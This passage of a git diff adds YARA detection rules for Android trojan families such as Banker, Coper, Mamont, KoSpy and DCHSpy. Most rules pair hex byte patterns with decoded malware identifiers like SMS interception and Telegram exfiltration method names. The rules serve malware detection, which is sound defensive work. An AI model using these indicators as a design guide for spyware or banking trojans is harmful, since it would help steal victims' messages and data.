14 1a d4 07 00 00 14 18 04 01 00 00 14 19 28 00 00 00 77 04 b1 01 17 00 0c 17 08 04 17 00 71 30 e7 01 43 00 28 d1 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AD_MTB.yar b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AD_MTB.yar new file mode 100644 index 0000000000..eed696c6d4 --- /dev/null +++ b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Banker_AD_MTB{ + meta: + description = "Trojan:AndroidOS/Banker.AD!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {54 12 c6 0a 6e 10 f0 11 02 00 0a 02 13 00 08 00 32 02 07 00 54 12 c6 0a 6e 20 40 12 02 00 } //1 + $a_01_1 = {54 50 c8 0a 54 00 d2 0a 6e 10 6e 1b 00 00 0c 00 38 00 1f 00 54 51 c8 0a 54 11 d2 0a 6e 10 73 1b 01 00 0c 01 6e 10 26 a8 01 00 0a 02 12 03 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AE_MTB.yar b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AE_MTB.yar new file mode 100644 index 0000000000..f7c293c5fd --- /dev/null +++ b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Banker_AE_MTB{ + meta: + description = "Trojan:AndroidOS/Banker.AE!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6e 20 61 21 24 00 0c 05 1f 05 d3 01 d8 09 02 64 6e 20 49 08 35 00 0c 0a 72 5a b1 0b 6f 96 0c 09 22 0a c7 01 70 10 1e 08 0a 00 6e 20 2d 08 7a 00 0c 0a 6e 20 30 08 8a 00 0c 0a 20 1b 57 02 38 0b 10 00 6e 10 67 10 01 00 0a 0b 38 0b 0a 00 6e 10 c6 0c 01 00 0a 0b 38 0b 04 00 01 0b 28 02 } //1 + $a_01_1 = {b1 64 6e 10 8a 0c 0a 00 0a 03 71 10 49 06 0a 00 0a 06 38 06 11 00 6e 10 8d 0c 0a 00 0a 06 6e 10 88 0c 0a 00 0a 07 b0 67 b1 75 6e 10 88 0c 0a 00 0a 06 b1 60 b1 43 82 33 82 00 6e 30 cb 08 3b 00 82 40 12 03 15 06 34 43 6e 40 c6 08 6b 30 6e 30 99 0f 41 05 6e 20 91 0f b1 00 0a 00 38 00 05 00 6e 10 07 0d 0a 00 6e 20 c4 08 2b 00 0e 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BI.yar b/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BI.yar new file mode 100644 index 0000000000..68fedfe972 --- /dev/null +++ b/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BI.yar @@ -0,0 +1,13 @@ + +rule Trojan_AndroidOS_BankerAgent_BI{ + meta: + description = "Trojan:AndroidOS/BankerAgent.BI,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {43 68 61 6e 67 65 53 6d 73 44 65 66 61 75 6c 74 41 70 70 41 63 74 69 76 69 74 79 } //2 ChangeSmsDefaultAppActivity + $a_01_1 = {46 69 74 6e 65 73 73 41 63 63 65 73 73 69 62 69 6c 69 74 79 53 65 72 76 69 63 65 } //2 FitnessAccessibilityService + $a_01_2 = {55 73 65 72 50 72 65 73 65 6e 74 52 65 63 65 69 76 65 72 53 65 72 76 69 63 65 } //2 UserPresentReceiverService + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BX.yar b/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BX.yar new file mode 100644 index 0000000000..f825192cc1 --- /dev/null +++ b/Trojan/AndroidOS/BankerAgent/Trojan_AndroidOS_BankerAgent_BX.yar @@ -0,0 +1,13 @@ + +rule Trojan_AndroidOS_BankerAgent_BX{ + meta: + description = "Trojan:AndroidOS/BankerAgent.BX,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2f 65 78 61 6d 70 6c 65 2f 6f 6d 61 6e 74 65 6c 70 72 69 7a 65 2f 53 65 72 76 69 63 65 52 65 73 74 61 72 74 65 72 42 72 6f 61 64 63 61 73 74 52 65 63 65 69 76 65 72 } //2 com/example/omantelprize/ServiceRestarterBroadcastReceiver + $a_01_1 = {4e 65 77 2c 20 62 65 74 74 65 72 20 61 70 70 20 65 78 70 65 72 69 61 6e 63 65 } //2 New, better app experiance + $a_01_2 = {6f 6d 61 6e 74 65 6c 70 72 69 7a 65 2f 4f 6e 62 6f 61 72 64 69 6e 67 41 63 74 69 76 69 74 79 } //2 omantelprize/OnboardingActivity + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/BrowBot/Trojan_AndroidOS_BrowBot_E_MTB.yar b/Trojan/AndroidOS/BrowBot/Trojan_AndroidOS_BrowBot_E_MTB.yar new file mode 100644 index 0000000000..2a955e6113 --- /dev/null +++ b/Trojan/AndroidOS/BrowBot/Trojan_AndroidOS_BrowBot_E_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_BrowBot_E_MTB{ + meta: + description = "Trojan:AndroidOS/BrowBot.E!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {1a 01 18 01 6e 20 e2 1f 10 00 54 31 27 02 6e 20 e2 1f 10 00 1a 01 ac 00 6e 20 e2 1f 10 00 6e 10 12 0a 03 00 0a 01 71 10 58 1f 01 00 0c 01 24 10 ba 0f 01 00 0c 01 1a 02 7d 03 71 20 b5 1f 12 00 0c 01 6e 20 e2 1f 10 00 } //1 + $a_01_1 = {15 0a 00 ff 6e 20 fe 02 a3 00 22 0a 88 00 62 04 ed 00 70 40 42 02 9a 44 22 04 97 00 70 10 cb 02 04 00 6e 10 39 02 09 00 0a 07 b1 07 7b 77 82 77 15 08 00 40 c9 87 6e 10 38 02 09 00 0a 09 b1 09 7b 99 82 99 c9 89 6e 30 d4 02 74 09 6e 20 72 03 4a 00 6e 20 06 03 a3 00 6e 53 64 02 52 65 12 09 6e 20 ae 02 92 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/CanesSpy/Trojan_AndroidOS_CanesSpy_C_MTB.yar b/Trojan/AndroidOS/CanesSpy/Trojan_AndroidOS_CanesSpy_C_MTB.yar new file mode 100644 index 0000000000..7db7fedf1e --- /dev/null +++ b/Trojan/AndroidOS/CanesSpy/Trojan_AndroidOS_CanesSpy_C_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_CanesSpy_C_MTB{ + meta: + description = "Trojan:AndroidOS/CanesSpy.C!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {08 0e 16 00 08 07 15 00 54 70 f5 04 02 01 17 00 72 20 6a e3 10 00 0c 02 52 e1 6f 00 12 25 13 08 08 00 12 03 38 01 15 03 12 14 32 41 3e 00 32 51 4a 02 12 30 33 01 28 00 1f 0e f7 28 1f 02 93 2c 54 e9 5b a2 6e 20 0d b6 09 00 54 78 f6 04 54 80 b8 a2 54 26 2c a5 71 20 50 4f 60 00 0a 00 } //1 + $a_01_1 = {20 08 ad 2c 38 08 c9 00 1f 00 ad 2c 5b 50 da a4 54 01 58 a5 1c 07 7d 35 33 71 2f 00 54 01 59 a5 13 02 e8 03 71 20 71 64 21 00 0c 10 52 01 57 a5 39 01 1e 00 54 00 5a a5 71 20 71 64 20 00 0c 11 14 12 ab 01 08 7f 13 13 02 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_I_MTB.yar b/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_I_MTB.yar new file mode 100644 index 0000000000..32edc5dcc8 --- /dev/null +++ b/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_I_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_AndroidOS_Coper_I_MTB{ + meta: + description = "Trojan:AndroidOS/Coper.I!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {4c 73 66 77 2f 6a 79 62 61 63 67 68 2f 61 76 72 69 78 63 61 62 7a 2f 65 7a 76 71 71 2f 69 64 69 78 7a 64 6e } //1 Lsfw/jybacgh/avrixcabz/ezvqq/idixzdn + $a_01_1 = {63 6f 6d 2e 76 67 73 75 70 65 72 76 69 73 69 6f 6e 5f 6b 69 74 32 39 2e 63 6f 73 78 6f 31 32 47 } //1 com.vgsupervision_kit29.cosxo12G + $a_01_2 = {4c 76 76 73 2f 6a 78 76 6c 79 6b 2f 61 63 6f 73 67 72 71 6b 6a 2f 6f 6d 75 75 65 2f 68 68 69 65 64 72 6d 73 72 } //1 Lvvs/jxvlyk/acosgrqkj/omuue/hhiedrmsr + $a_01_3 = {4c 63 6f 6d 2f 63 65 62 61 7a 75 74 61 7a 61 2f 73 75 76 61 72 61 67 2f 64 61 67 61 6c 2f 78 75 76 75 6c 61 6c 6f 6a 75 2f 73 65 74 6f 70 65 70 69 71 6f 72 } //1 Lcom/cebazutaza/suvarag/dagal/xuvulaloju/setopepiqor + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_K_MTB.yar b/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_K_MTB.yar new file mode 100644 index 0000000000..1141cacc5b --- /dev/null +++ b/Trojan/AndroidOS/Coper/Trojan_AndroidOS_Coper_K_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Coper_K_MTB{ + meta: + description = "Trojan:AndroidOS/Coper.K!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {62 04 ca 00 6e 20 6b 03 43 00 0c 03 62 04 2e 00 6e 10 63 03 04 00 0a 04 12 15 39 04 0b 00 62 04 2e 00 6e 20 5b 03 34 00 0a 04 38 04 03 00 0f 05 62 04 2f 00 6e 10 63 03 04 00 0a 04 39 04 0b 00 62 04 2f 00 6e 20 5b 03 34 00 0a 04 38 04 03 00 0f 05 62 04 32 00 6e 10 63 03 04 00 0a 04 39 04 0b 00 62 04 32 00 6e 20 5b 03 34 00 0a 03 38 03 03 00 0f 05 } //1 + $a_01_1 = {54 50 31 00 6e 10 6a 01 05 00 0c 01 71 20 64 02 10 00 0c 00 6e 10 63 03 00 00 0a 01 39 01 5d 00 71 00 5f 01 00 00 0c 01 6e 10 63 03 01 00 0a 02 1a 03 59 00 39 02 19 00 22 02 df 00 70 10 6d 03 02 00 1a 04 1c 02 6e 20 72 03 42 00 6e 20 72 03 12 00 6e 20 72 03 32 00 6e 20 72 03 02 00 6e 10 75 03 02 00 0c 00 1a 01 14 03 71 10 5c 01 01 00 0a 01 38 01 2d 00 6e 10 6a 01 05 00 0c 01 1a 02 2e 06 71 20 67 02 21 00 0c 01 38 01 21 00 22 02 df 00 70 10 6d 03 02 00 1a 04 48 02 6e 20 72 03 42 00 6e 10 19 01 01 00 0c 01 72 10 3f 03 01 00 0c 01 6e 20 72 03 12 00 6e 20 72 03 32 00 6e 20 72 03 02 00 6e 10 75 03 02 00 0c 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Crocodilus/Trojan_AndroidOS_Crocodilus_A_MTB.yar b/Trojan/AndroidOS/Crocodilus/Trojan_AndroidOS_Crocodilus_A_MTB.yar new file mode 100644 index 0000000000..008267c9cd --- /dev/null +++ b/Trojan/AndroidOS/Crocodilus/Trojan_AndroidOS_Crocodilus_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Crocodilus_A_MTB{ + meta: + description = "Trojan:AndroidOS/Crocodilus.A!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {62 01 00 00 52 02 0d 01 62 03 17 01 62 04 1c 07 12 15 12 36 12 07 12 08 12 29 38 02 51 00 32 52 36 00 32 92 21 00 33 62 17 00 52 02 0c 01 52 0a 0b 01 54 0b 0a 01 54 0c 09 01 54 0d 0e 01 1f 0d 7d 04 77 01 e1 02 15 00 01 87 01 28 07 b2 07 db } //1 + $a_01_1 = {35 ae 1f 00 22 0d b8 00 54 08 0f 01 13 12 00 00 08 15 0d 00 02 13 0e 00 07 8e 07 f8 02 0f 13 00 08 10 08 00 08 11 0c 00 76 06 10 02 0d 00 71 40 5e 01 72 6d d8 0e 13 01 07 8f 12 08 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/DCHSpy/Trojan_AndroidOS_DCHSpy_A_MTB.yar b/Trojan/AndroidOS/DCHSpy/Trojan_AndroidOS_DCHSpy_A_MTB.yar new file mode 100644 index 0000000000..5e568a665e --- /dev/null +++ b/Trojan/AndroidOS/DCHSpy/Trojan_AndroidOS_DCHSpy_A_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_DCHSpy_A_MTB{ + meta: + description = "Trojan:AndroidOS/DCHSpy.A!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {4c 63 6f 6d 2f 6d 61 74 72 69 78 2f 63 74 6f 72 2f 43 61 6d 65 72 61 46 69 6c 65 2f 43 61 6d 65 72 61 46 69 6c 65 } //1 Lcom/matrix/ctor/CameraFile/CameraFile + $a_01_1 = {4c 63 6f 6d 2f 6d 61 74 72 69 78 2f 63 74 6f 72 2f 57 68 61 74 73 41 70 70 46 69 6c 65 2f 57 68 61 74 73 41 70 70 46 69 6c 65 } //1 Lcom/matrix/ctor/WhatsAppFile/WhatsAppFile + $a_01_2 = {2f 63 74 6f 72 2f 52 65 63 6f 72 64 69 6e 67 73 46 69 6c 65 2f 52 65 63 6f 72 64 69 6e 67 73 46 69 6c 65 } //1 /ctor/RecordingsFile/RecordingsFile + $a_01_3 = {2f 64 62 2f 63 6f 6d 6d 61 6e 64 2f 43 6f 6d 6d 61 6e 64 51 75 65 72 69 65 73 } //1 /db/command/CommandQueries + $a_01_4 = {4c 63 6f 6d 2f 73 66 74 70 5f 75 70 6c 6f 61 64 65 72 2f 74 72 61 76 65 6c 65 72 2f 53 46 54 50 50 72 6f 67 72 65 73 73 4d 6f 6e 69 74 6f 72 } //1 Lcom/sftp_uploader/traveler/SFTPProgressMonitor + $a_01_5 = {41 63 74 69 6f 6e 44 6f 77 6e 6c 6f 61 64 53 65 72 76 65 72 55 70 64 61 74 65 } //1 ActionDownloadServerUpdate + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/EvilInst/Trojan_AndroidOS_EvilInst_F_MTB.yar b/Trojan/AndroidOS/EvilInst/Trojan_AndroidOS_EvilInst_F_MTB.yar new file mode 100644 index 0000000000..2d507bd23a --- /dev/null +++ b/Trojan/AndroidOS/EvilInst/Trojan_AndroidOS_EvilInst_F_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_EvilInst_F_MTB{ + meta: + description = "Trojan:AndroidOS/EvilInst.F!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0a 02 12 00 38 02 18 00 12 13 32 32 03 00 28 24 22 02 46 0c 70 20 46 34 52 00 5b 42 71 00 38 06 05 00 5b 64 6f 00 28 18 22 06 29 00 70 30 58 00 06 04 28 12 22 02 46 0c } //1 + $a_01_1 = {0a 02 12 00 38 02 13 00 12 13 32 32 03 00 28 1b 22 02 46 0c 70 20 46 34 52 00 5b 42 70 00 22 02 29 00 70 30 58 00 02 04 28 0d 22 02 46 0c 70 20 46 34 52 00 5b 32 70 00 22 02 29 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Iconosys/Trojan_AndroidOS_Iconosys_E_MTB.yar b/Trojan/AndroidOS/Iconosys/Trojan_AndroidOS_Iconosys_E_MTB.yar new file mode 100644 index 0000000000..bc1c9edc4d --- /dev/null +++ b/Trojan/AndroidOS/Iconosys/Trojan_AndroidOS_Iconosys_E_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_Iconosys_E_MTB{ + meta: + description = "Trojan:AndroidOS/Iconosys.E!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {4c 63 69 6e 63 6f 64 65 6d 61 79 6f 2f 62 75 7a 7a 65 72 2f 69 63 6f 6e 6f 73 79 73 2f 43 68 72 69 73 74 6d 61 73 54 69 6d 65 72 } //1 Lcincodemayo/buzzer/iconosys/ChristmasTimer + $a_01_1 = {63 68 69 72 69 73 74 6d 61 73 63 6f 75 6e 74 31 31 } //1 chiristmascount11 + $a_01_2 = {6e 65 77 79 65 61 72 62 75 7a 7a 65 72 73 74 61 74 65 73 } //1 newyearbuzzerstates + $a_01_3 = {74 72 69 63 6b 74 72 61 63 6b 65 72 73 74 61 74 65 73 } //2 tricktrackerstates + $a_01_4 = {64 72 69 76 65 72 65 70 6c 61 79 73 74 61 74 65 73 } //2 drivereplaystates + $a_01_5 = {73 61 6e 74 61 5f 62 75 74 74 6f 6e 73 5f 70 72 65 73 73 65 64 } //2 santa_buttons_pressed + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_A_MTB.yar b/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_A_MTB.yar new file mode 100644 index 0000000000..839a48ed3f --- /dev/null +++ b/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_KoSpy_A_MTB{ + meta: + description = "Trojan:AndroidOS/KoSpy.A!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6f 30 78 0f 06 08 55 60 1b 06 38 00 1c 00 70 10 cc 17 06 00 0a 00 39 00 16 00 6e 10 14 0c 06 00 0a 00 15 04 00 ff b5 40 15 04 00 01 33 40 04 00 01 30 28 02 } //1 + $a_01_1 = {3d 0a 18 00 54 db 24 06 52 bc f8 01 52 bb f9 01 b0 bc b1 ca 71 10 af 0b 0e 00 0a 0e 71 20 b1 70 ea 00 0a 0e 71 20 b0 0b 9e 00 0a 0e 01 3a 28 02 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_B_MTB.yar b/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_B_MTB.yar new file mode 100644 index 0000000000..ac89d3a491 --- /dev/null +++ b/Trojan/AndroidOS/KoSpy/Trojan_AndroidOS_KoSpy_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_KoSpy_B_MTB{ + meta: + description = "Trojan:AndroidOS/KoSpy.B!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {36 76 37 00 20 46 1f 01 38 06 33 00 71 00 9e 0d 00 00 0c 06 6e 10 9f 0d 06 00 0a 06 38 06 13 00 32 26 06 00 12 34 32 46 0e 00 28 22 1f 04 1f 01 } //1 + $a_01_1 = {54 02 31 05 54 22 3c 05 54 04 30 05 54 05 a5 05 6e 40 03 30 42 51 0c 02 5b 02 a9 05 39 02 10 00 71 00 de 2f 00 00 0c 01 62 02 aa 05 1a 04 7f 17 23 33 1c 0d 6e 40 dc 2f 21 34 28 1d } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_D_MTB.yar b/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_D_MTB.yar new file mode 100644 index 0000000000..44d4fe7106 --- /dev/null +++ b/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_D_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_LockScreen_D_MTB{ + meta: + description = "Trojan:AndroidOS/LockScreen.D!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {07 06 07 17 15 08 03 7f 12 09 6e 30 15 00 87 09 0c 07 1f 07 14 00 5b 67 10 00 07 06 22 07 1a 00 07 7d 07 d7 07 d8 07 09 70 20 21 00 98 00 5b 67 0c 00 07 06 07 07 54 77 10 00 15 08 05 7f 6e 20 18 00 87 00 0c 07 1f 07 19 00 5b 67 0e 00 07 06 07 07 54 77 10 00 14 08 02 00 05 7f } //1 + $a_01_1 = {0c 04 07 42 07 24 1a 05 6a 00 13 06 80 00 6e 30 13 00 54 06 0c 04 07 43 22 04 3b 00 07 4a 07 a4 07 a5 22 06 01 00 07 6a 07 a6 07 a7 07 08 70 20 01 00 87 00 70 20 48 00 65 00 07 42 07 24 6e 10 49 00 04 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_E_MTB.yar b/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_E_MTB.yar new file mode 100644 index 0000000000..bbefb29aef --- /dev/null +++ b/Trojan/AndroidOS/Lockscreen/Trojan_AndroidOS_LockScreen_E_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_LockScreen_E_MTB{ + meta: + description = "Trojan:AndroidOS/LockScreen.E!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {12 04 07 05 6e 10 08 00 05 00 0c 05 52 55 02 00 12 26 dd 05 05 02 32 54 08 00 12 14 01 41 01 14 39 04 05 00 28 e2 12 04 28 fa 07 04 6e 10 09 00 04 00 0c 04 07 42 07 24 1a 05 6a 00 13 06 80 00 6e 30 13 00 54 06 0c 04 07 43 22 04 3b 00 } //1 + $a_01_1 = {6e 20 47 00 87 00 0a 07 38 07 1e 00 22 07 07 00 07 7e 07 e7 07 e8 07 19 1a 0a 6c 00 71 10 40 00 0a 00 0c 0a 70 30 0d 00 98 0a 07 74 07 47 15 08 00 10 6e 20 0e 00 87 00 0c 07 07 17 07 48 6e 20 0b 00 87 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_I_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_I_MTB.yar new file mode 100644 index 0000000000..87693ccc07 --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_I_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_AndroidOS_Mamont_I_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.I!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {72 75 2f 70 75 74 69 73 68 61 2f 61 70 70 2f 53 6d 73 53 65 72 76 69 63 65 } //1 ru/putisha/app/SmsService + $a_01_1 = {67 65 74 5f 6d 65 73 73 61 67 65 5f 68 69 73 74 6f 72 79 } //1 get_message_history + $a_01_2 = {53 6d 73 53 75 62 4d 61 70 70 69 6e 67 } //1 SmsSubMapping + $a_01_3 = {67 65 74 5f 63 61 6c 6c 73 5f 68 69 73 74 6f 72 79 } //1 get_calls_history + $a_01_4 = {d0 9d d0 9e d0 92 d0 9e d0 95 20 53 4d 53 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_J_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_J_MTB.yar new file mode 100644 index 0000000000..a5df8eb72f --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_J_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_Mamont_J_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.J!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {53 6d 73 53 65 72 76 69 63 65 52 65 73 74 61 72 74 57 6f 72 6b 65 72 } //1 SmsServiceRestartWorker + $a_01_1 = {67 65 74 41 6c 6c 5f 70 68 6f 6e 65 5f 6e 75 6d 62 65 72 73 } //1 getAll_phone_numbers + $a_01_2 = {66 6f 75 6e 64 53 69 6d 43 61 72 64 73 } //1 foundSimCards + $a_01_3 = {70 72 6f 63 65 73 73 50 65 6e 64 69 6e 67 53 6d 73 4c 6f 67 73 } //1 processPendingSmsLogs + $a_01_4 = {73 65 74 75 70 53 6d 73 53 65 6e 74 52 65 63 65 69 76 65 72 } //1 setupSmsSentReceiver + $a_01_5 = {68 61 6e 64 6c 65 53 6d 73 44 65 66 61 75 6c 74 41 70 70 } //1 handleSmsDefaultApp + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_K_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_K_MTB.yar new file mode 100644 index 0000000000..586f14e753 --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_K_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_AndroidOS_Mamont_K_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.K!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {73 65 6e 64 41 70 70 73 4c 69 73 74 54 6f 54 65 6c 65 67 72 61 6d } //1 sendAppsListToTelegram + $a_01_1 = {4c 63 6f 6d 2f 65 78 61 6d 70 6c 65 2f 74 65 73 74 72 61 74 2f 53 6d 73 52 65 63 65 69 76 65 72 } //1 Lcom/example/testrat/SmsReceiver + $a_01_2 = {73 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 6f 54 65 6c 65 67 72 61 6d } //1 sendNotificationToTelegram + $a_01_3 = {73 65 6e 64 54 65 6c 65 67 72 61 6d 4d 65 73 73 61 67 65 } //1 sendTelegramMessage + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_L_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_L_MTB.yar new file mode 100644 index 0000000000..9386631a3c --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_L_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_AndroidOS_Mamont_L_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.L!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {53 6d 73 53 65 72 76 69 63 65 52 65 73 74 61 72 74 57 6f 72 6b 65 72 } //1 SmsServiceRestartWorker + $a_01_1 = {70 72 6f 63 65 73 73 50 65 6e 64 69 6e 67 53 6d 73 4c 6f 67 73 } //1 processPendingSmsLogs + $a_01_2 = {67 65 74 41 6c 6c 5f 70 68 6f 6e 65 5f 6e 75 6d 62 65 72 73 